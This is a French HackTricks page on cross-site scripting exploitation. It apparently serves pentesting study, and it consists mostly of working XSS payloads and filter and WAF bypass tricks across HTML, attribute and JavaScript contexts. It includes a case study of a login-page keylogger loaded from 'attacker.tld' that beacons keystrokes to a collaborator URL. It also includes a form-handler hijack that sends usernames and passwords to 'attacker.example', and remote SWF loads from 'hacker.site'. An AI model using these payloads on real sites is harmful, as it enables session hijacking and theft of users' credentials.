%.*s
XSS (Cross Site Scripting)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Méthodologie
- Vérifiez si toute valeur que vous contrôlez (parameters, path, headers?, cookies?) est refletée dans le HTML ou utilisée par du JS.
- Trouvez le contexte où elle est reflétée/utilisée.
- Si réflétée
- Vérifiez quels symboles vous pouvez utiliser et selon cela, préparez le payload :
- En HTML brut :
- Pouvez-vous créer de nouvelles balises HTML ?
- Pouvez-vous utiliser des events ou des attributes supportant le protocole
javascript:? - Pouvez-vous bypasser les protections ?
- Le contenu HTML est-il interprété par un moteur JS côté client (AngularJS, VueJS, Mavo…) que vous pourriez abuser via une Client Side Template Injection ?
- Si vous ne pouvez pas créer de balises HTML qui exécutent du JS, pourriez-vous abuser d’un Dangling Markup - HTML scriptless injection ?
- À l’intérieur d’une balise HTML :
- Pouvez-vous sortir vers le contexte HTML brut ?
- Pouvez-vous créer de nouveaux events/attributes pour exécuter du JS ?
- L’attribut où vous êtes piégé supporte-t-il l’exécution JS ?
- Pouvez-vous bypasser les protections ?
- À l’intérieur de code JavaScript :
- Pouvez-vous échapper la balise
<script>? - Pouvez-vous échapper la chaîne et exécuter un autre code JS ?
- Votre input est-elle dans des template literals `` ?
- Pouvez-vous bypasser les protections ?
- Une fonction Javascript est en cours d’exécution
- Vous pouvez indiquer le nom de la fonction à exécuter. ex.:
?callback=alert(1) - Si utilisé :
- Vous pouvez exploiter un DOM XSS, faites attention à comment votre input est contrôlé et si votre input contrôlé est utilisé par un sink.
Lorsque vous travaillez sur un XSS complexe, il peut être intéressant de consulter :
Valeurs reflétées
Pour exploiter avec succès un XSS, la première chose à trouver est une valeur contrôlée par vous qui est reflétée dans la page web.
- Réfléchie de manière intermédiaire : Si vous trouvez que la valeur d’un paramètre ou même du path est reflétée dans la page web, vous pourriez exploiter un Reflected XSS.
- Stockée et reflétée : Si vous trouvez qu’une valeur contrôlée par vous est sauvegardée côté serveur et est reflétée à chaque accès d’une page, vous pourriez exploiter un Stored XSS.
- Accédée via JS : Si vous trouvez qu’une valeur contrôlée par vous est accédée via JS, vous pourriez exploiter un DOM XSS.
Contextes
Quand vous essayez d’exploiter un XSS, la première chose à savoir est où votre input est reflété. Selon le contexte, vous pourrez exécuter du code JS de différentes manières.
HTML brut
Si votre input est reflété dans le HTML brut de la page, vous devrez abuser d’une balise HTML pour exécuter du code JS : <img , <iframe , <svg , <script … ce ne sont que quelques-unes des nombreuses balises HTML possibles à utiliser.
Aussi, gardez en tête Client Side Template Injection.
À l’intérieur d’un attribut de balise HTML
Si votre input est reflété à l’intérieur de la valeur d’un attribut d’une balise, vous pouvez essayer :
- De s’échapper de l’attribut et de la balise (vous serez alors dans le HTML brut) et créer une nouvelle balise HTML à abuser :
"><img [...] - Si vous pouvez vous échapper de l’attribut mais pas de la balise (
>est encodé ou supprimé), selon la balise vous pourriez créer un event qui exécute du JS :" autofocus onfocus=alert(1) x=" - Si vous ne pouvez pas vous échapper de l’attribut (
"est encodé ou supprimé), alors selon quel attribut contient votre valeur et si vous contrôlez toute la valeur ou juste une partie, vous pourrez l’exploiter. Par exemple, si vous contrôlez un event commeonclick=vous pourrez exécuter du code arbitraire lors du click. Un autre exemple intéressant est l’attributhref, où vous pouvez utiliser le protocolejavascript:pour exécuter du code arbitraire :href="javascript:alert(1)" - Si votre input est reflété dans des “balises non exploitables”, vous pouvez essayer l’astuce
accesskeypour abuser de la vuln (il vous faudra un peu d’ingénierie sociale pour exploiter) :" accesskey="x" onclick="alert(1)" x="
Attribute-only login XSS behind WAFs
Une page de login SSO d’entreprise reflétait le paramètre OAuth service dans l’attribut href de <a id="forgot_btn" ...>. Même si < et > étaient HTML-encodés, les guillemets doubles ne l’étaient pas, ainsi l’attaquant pouvait fermer l’attribut et réutiliser le même élément pour injecter des handlers tels que " onfocus="payload" x=".
- Injecter le handler : Des payloads simples comme
onclick="print(1)"étaient bloqués, mais le WAF n’inspectait que la première instruction JavaScript dans les attributs inline. Préfixer une expression inoffensive entre parenthèses, suivie d’un point-virgule, permettait au vrai payload de s’exécuter :onfocus="(history.length);malicious_code_here". - Le déclencher automatiquement : Les navigateurs focusent tout élément dont l’
idcorrespond au fragment, donc ajouter#forgot_btnà l’URL d’exploit force l’anchor à recevoir le focus au chargement et exécute le handler sans clic. - Garder le stub inline petit : La cible embarquait déjà jQuery. Le handler n’avait besoin que d’initialiser une requête via
$.getScript(...)tandis que le keylogger complet résidait sur le serveur de l’attaquant.
Construire des chaînes sans guillemets
Les quotes simples étaient retournées encodées dans l’URL et les guillemets doubles échappés corrompaient l’attribut, donc le payload générait chaque chaîne avec String.fromCharCode. Une fonction utilitaire facilite la conversion de n’importe quelle URL en codes caractères avant de la coller dans l’attribut:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
Un attribut résultant ressemblait à :
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
Pourquoi cela vole des identifiants
Le script externe (chargé depuis un hôte contrôlé par l’attaquant ou Burp Collaborator) a attaché un gestionnaire à document.onkeypress, a mis en mémoire tampon les frappes, et chaque seconde exécutait new Image().src = collaborator_url + keys. Parce que l’XSS ne s’exécute que pour les utilisateurs non authentifiés, l’action sensible est le formulaire de login lui-même — l’attaquant keylogs les noms d’utilisateur et les mots de passe même si la victime n’appuie jamais sur “Login”.
Exemple étrange d’Angular exécutant XSS si vous contrôlez un nom de classe:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Dans le code JavaScript
Dans ce cas, votre entrée est reflétée entre les balises <script> [...] </script> d’une page HTML, dans un fichier .js ou dans un attribut utilisant le protocole javascript: :
- Si elle est reflétée entre
<script> [...] </script>, même si votre entrée est à l’intérieur de n’importe quel type de guillemets, vous pouvez essayer d’injecter</script>et sortir de ce contexte. Cela fonctionne parce que le navigateur analysera d’abord les balises HTML puis le contenu, donc il ne remarquera pas que votre balise</script>injectée est à l’intérieur du code HTML. - Si elle est reflétée à l’intérieur d’une chaîne JS et que le dernier truc ne fonctionne pas, vous devrez sortir de la chaîne, exécuter votre code et reconstruire le code JS (si une erreur survient, il ne sera pas exécuté:
'-alert(1)-'';-alert(1)//\';alert(1)//- Si elle est reflétée à l’intérieur des template literals vous pouvez embed JS expressions en utilisant la syntaxe
${ ... }:var greetings = `Hello, ${alert(1)}` - Unicode encode works to write valid javascript code:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting fait référence à la possibilité de déclarer des functions, variables ou classes après leur utilisation afin d’abuser de scénarios où un XSS utilise des variables ou functions non déclarées.
Consultez la page suivante pour plus d’infos :
Javascript Function
Plusieurs pages web ont des endpoints qui acceptent en paramètre le nom de la function à exécuter. Un exemple courant trouvé en pratique est quelque chose comme : ?callback=callbackFunc.
Une bonne façon de savoir si quelque chose fourni directement par l’utilisateur est tenté d’être exécuté est de modifier la valeur du param (par exemple en ‘Vulnerable’) et regarder dans la console des erreurs comme :
.png)
Si c’est vulnérable, vous pourriez être capable de déclencher une alert simplement en envoyant la valeur : ?callback=alert(1). Cependant, il est très courant que ces endpoints valident le contenu pour n’autoriser que les lettres, chiffres, points et underscores ([\w\._]).
Cependant, même avec cette limitation, il est toujours possible d’effectuer certaines actions. En effet, vous pouvez utiliser ces caractères valides pour accéder à n’importe quel élément du DOM :
.png)
Quelques functions utiles pour cela :
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Vous pouvez aussi essayer de déclencher des fonctions Javascript directement : obj.sales.delOrders.
Cependant, en général les endpoints qui exécutent la fonction indiquée n’ont pas un DOM très intéressant ; other pages in the same origin auront un DOM plus intéressant pour effectuer davantage d’actions.
Par conséquent, afin d’abuser de cette vulnérabilité dans un DOM différent l’exploitation Same Origin Method Execution (SOME) a été développée :
SOME - Same Origin Method Execution
DOM
Il y a du JS code qui utilise de façon non sécurisée des données contrôlées par un attaquant comme location.href. Un attaquant pourrait abuser de cela pour exécuter du code JS arbitraire.
Universal XSS
Ce type de XSS peut être trouvé n’importe où. Ils ne dépendent pas uniquement de l’exploitation côté client d’une application web mais de n’importe quel contexte. Ce type d’exécution JavaScript arbitraire peut même être abusé pour obtenir RCE, lire des fichiers arbitraires sur les clients et les serveurs, et plus encore.
Quelques exemples :
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
Lorsque votre input est réfléchi à l’intérieur de la page HTML ou que vous pouvez échapper et injecter du code HTML dans ce contexte la première chose que vous devez faire est de vérifier si vous pouvez abuser du caractère < pour créer de nouvelles balises : essayez simplement de réfléchir ce char et vérifiez s’il est encodé en HTML ou supprimé ou s’il est reflété sans modifications. Ce n’est que dans le dernier cas que vous pourrez exploiter cette situation.
Pour ces cas aussi gardez en tête Client Side Template Injection.
Note : Un commentaire HTML peut être fermé en utilisant****-->****ou **--!>**
Dans ce cas et si no black/whitelisting est utilisé, vous pourriez utiliser des payloads comme:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Mais, si des black/whitelisting de tags/attributs sont utilisés, vous devrez brute-force quels tags vous pouvez créer.
Une fois que vous avez localisé quels tags sont autorisés, vous devrez brute-force les attributs/événements à l’intérieur des tags valides trouvés pour voir comment attaquer le contexte.
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute-force tous les événements en utilisant les tags valides (in the same web page click on Copy events to clipboard and follow the same procedure as before).
Tags personnalisés
Si vous n’avez trouvé aucun tag HTML valide, vous pouvez essayer de créer un tag personnalisé et exécuter du code JS avec l’attribut onfocus. Dans la requête XSS, vous devez terminer l’URL par # pour forcer la page à mettre le focus sur cet objet et exécuter le code :
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Contournements de la blacklist
Si une sorte de blacklist est utilisée, vous pouvez essayer de la contourner avec quelques astuces simples :
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > D’autres tiny XSS payloads pour différents environnements peuvent être trouvés ici et ici.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
Le dernier utilise 2 caractères unicode qui se décomposent en 5 : telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
Si, pour exploiter la vulnérabilité, vous avez besoin que l’utilisateur clique sur un lien ou un formulaire avec des données préremplies, vous pouvez essayer de abuse Clickjacking (si la page est vulnérable).
Impossible - Dangling Markup
Si vous pensez simplement qu’il est impossible de créer une balise HTML avec un attribut permettant d’exécuter du code JS, vous devriez consulter Danglig Markup because vous pourriez exploiter la vulnérabilité sans exécuter de code JS.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
Si vous êtes à l’intérieur d’une balise HTML, la première chose que vous pouvez essayer est de s’échapper de la balise et d’utiliser certaines des techniques mentionnées dans la previous section pour exécuter du code JS.
Si vous ne pouvez pas sortir de la balise, vous pourriez créer de nouveaux attributs à l’intérieur de la balise pour tenter d’exécuter du code JS, par exemple en utilisant un payload comme (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Événements de style
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Dans l’attribut
Même si vous ne pouvez pas échapper de l’attribut (" est encodé ou supprimé), selon quel attribut contient votre valeur — et si vous contrôlez toute la valeur ou juste une partie — vous pourrez l’abuser. Par exemple, si vous contrôlez un événement comme onclick= vous pourrez le faire exécuter du code arbitraire lorsqu’il est cliqué.
Un autre exemple intéressant est l’attribut href, où vous pouvez utiliser le protocole javascript: pour exécuter du code arbitraire : href="javascript:alert(1)"
Contournement dans l’événement en utilisant l’encodage HTML/URL
Les caractères encodés en HTML à l’intérieur de la valeur des attributs des balises HTML sont décodés à l’exécution. Ainsi, quelque chose comme ce qui suit sera valide (la payload est en gras) : <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Notez que tout type d’encodage HTML est valide:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Notez que URL encode fonctionnera également :
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass à l’intérieur de event en utilisant Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Protocoles spéciaux dans l’attribut
Là, vous pouvez utiliser les protocoles javascript: ou data: dans certains endroits pour exécuter du code JS arbitraire. Certains nécessiteront une interaction utilisateur, d’autres non.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Endroits où vous pouvez injecter ces protocoles
En général le protocole javascript: peut être utilisé dans n’importe quelle balise acceptant l’attribut href et dans la plupart des balises acceptant l’attribut src (mais pas <img>)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Autres techniques d’obfuscation
Dans ce cas, l’encodage HTML et l’encodage Unicode vus dans la section précédente sont également valables car vous êtes à l’intérieur d’un attribut.
<a href="javascript:var a=''-alert(1)-''">
De plus, il existe une autre astuce sympa pour ces cas : Même si votre entrée à l’intérieur de javascript:... est encodée en URL, elle sera décodée avant d’être exécutée. Donc, si vous devez vous échapper de la chaîne en utilisant une apostrophe et que vous voyez qu’elle est encodée en URL, souvenez-vous que cela n’a pas d’importance, elle sera interprétée comme une apostrophe lors de l’exécution.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Notez que si vous essayez d’utiliser les deux URLencode + HTMLencode dans n’importe quel ordre pour encoder le payload, cela ne fonctionnera pas, mais vous pouvez les mélanger à l’intérieur du payload.
Using Hex and Octal encode with javascript:
Vous pouvez utiliser Hex et Octal encode à l’intérieur de l’attribut src de iframe (au moins) pour déclarer HTML tags to execute JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Si vous pouvez injecter n’importe quelle URL dans une balise arbitraire <a href= qui contient les attributs target="_blank" and rel="opener", consultez la page suivante pour exploiter ce comportement :
Contournement des on event handlers
Tout d’abord, consultez cette page (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) pour des “on” event handlers utiles.
Si une blacklist vous empêche de créer ces event handlers, vous pouvez essayer les contournements suivants :
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS dans les « balises non exploitables » (hidden input, link, canonical, meta)
Depuis here il est maintenant possible d’abuser des hidden inputs avec :
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
Et dans les balises meta :
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Tiré de here: Vous pouvez exécuter un XSS payload inside a hidden attribute, à condition de pouvoir persuader la victim d’appuyer sur la key combination. Sur Firefox Windows/Linux la combinaison est ALT+SHIFT+X et sur OS X elle est CTRL+ALT+X. Vous pouvez spécifier une autre combinaison en utilisant une autre touche dans l’access key attribute. Voici le vecteur:
<input type="hidden" accesskey="X" onclick="alert(1)">
Le payload XSS ressemblera à quelque chose comme ceci : " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Plusieurs astuces utilisant différents encodages ont déjà été exposées dans cette section. Revenez en arrière pour apprendre où vous pouvez utiliser :
- HTML encoding (HTML tags)
- Unicode encoding (peut être du code JS valide):
\u0061lert(1) - URL encoding
- Encodage Hex et Octal
- Encodage de données
Bypasses for HTML tags and attributes
Lisez la Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Lisez la JavaScript bypass blacklist of the following section.
CSS-Gadgets
Si vous trouvez un XSS dans une toute petite partie du site qui nécessite une interaction (peut-être un petit lien dans le footer avec un onmouseover), vous pouvez essayer de modifier l’espace occupé par cet élément pour maximiser les probabilités que le lien se déclenche.
Par exemple, vous pouvez ajouter du style dans l’élément comme : position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Mais, si le WAF filtre l’attribut style, vous pouvez utiliser des CSS Styling Gadgets, donc si vous trouvez, par exemple
.test {display:block; color: blue; width: 100%}
et
#someid {top: 0; font-family: Tahoma;}
Maintenant vous pouvez modifier notre lien et le mettre sous la forme
<a href=“” id=someid class=test onclick=alert() a=“”>
Cette astuce a été reprise depuis https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
Dans ce cas votre input va être réfléchi dans le code JS d’un fichier .js ou entre des balises <script>...</script>, ou entre des événements HTML qui peuvent exécuter du code JS, ou entre des attributs qui acceptent le protocole javascript:.
Escaping <script> tag
Si votre code est inséré dans <script> [...] var input = 'reflected data' [...] </script> vous pouvez facilement échapper la fermeture de la balise <script> :
</script><img src=1 onerror=alert(document.domain)>
Notez que dans cet exemple nous n’avons même pas fermé le guillemet simple. C’est parce que l’analyse HTML est effectuée d’abord par le navigateur, ce qui implique d’identifier les éléments de la page, y compris les blocs de script. L’analyse du JavaScript pour comprendre et exécuter les scripts incorporés n’est effectuée qu’ensuite.
Dans le code JS
Si <> sont filtrés vous pouvez toujours échapper la chaîne là où votre entrée est située et exécuter du JS arbitraire. Il est important de corriger la syntaxe JS, car s’il y a des erreurs, le code JS ne sera pas exécuté:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Lorsque l’entrée utilisateur se retrouve à l’intérieur d’une chaîne JavaScript entre guillemets (par ex., server-side echo dans un inline script), vous pouvez terminer la chaîne, injecter du code et réparer la syntaxe pour que l’analyse reste valide. Squelette générique :
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Exemple de motif d’URL lorsque le paramètre vulnérable est réfléchi dans une chaîne JS :
?param=test";<INJECTION>;a="
Cela exécute du JS attaquant sans avoir besoin de toucher le contexte HTML (pure JS-in-JS). Combinez avec les contournements de blacklist ci‑dessous lorsque les filtres bloquent des mots-clés.
Template literals ``
Pour construire des strings, en plus des guillemets simples et doubles, JS accepte aussi les backticks ``. Ceci est connu sous le nom de template literals car ils permettent d’intégrer des expressions JS en utilisant la syntaxe ${ ... }.\
Ainsi, si vous constatez que votre input est réfléchi à l’intérieur d’une string JS qui utilise des backticks, vous pouvez abuser de la syntaxe ${ ... } pour exécuter du code JS arbitraire:
Ceci peut être exploité en utilisant:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Exécution de code encodé
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Deliverable payloads with eval(atob()) and scope nuances
Pour garder les URLs plus courtes et contourner des filtres naïfs de mots-clés, vous pouvez base64-encode votre logique réelle et l’évaluer avec eval(atob('...')). Si des filtres simples de mots-clés bloquent des identifiants comme alert, eval ou atob, utilisez des identifiants échappés en Unicode qui compilent de manière identique dans le navigateur mais évitent les filtres de correspondance de chaînes :
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Nuance importante de portée : const/let déclarés à l’intérieur de eval() ont une portée de bloc et NE créent PAS de globals ; ils ne seront pas accessibles aux scripts ultérieurs. Utilisez un élément <script> injecté dynamiquement pour définir des hooks globaux non rebindables lorsque nécessaire (p.ex. : to hijack a form handler) :
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Référence: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Encodage Unicode pour exécution JS
alert(1)
alert(1)
alert(1)
Techniques de contournement de blacklists en JavaScript
Chaînes
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Échappements spéciaux
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Substitutions d’espaces dans le code JS
<TAB>
/**/
JavaScript comments (tiré de JavaScript Comments astuce)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (tiré de JavaScript new line astuce)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript espaces blancs
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript dans un commentaire
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript sans parenthèses
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
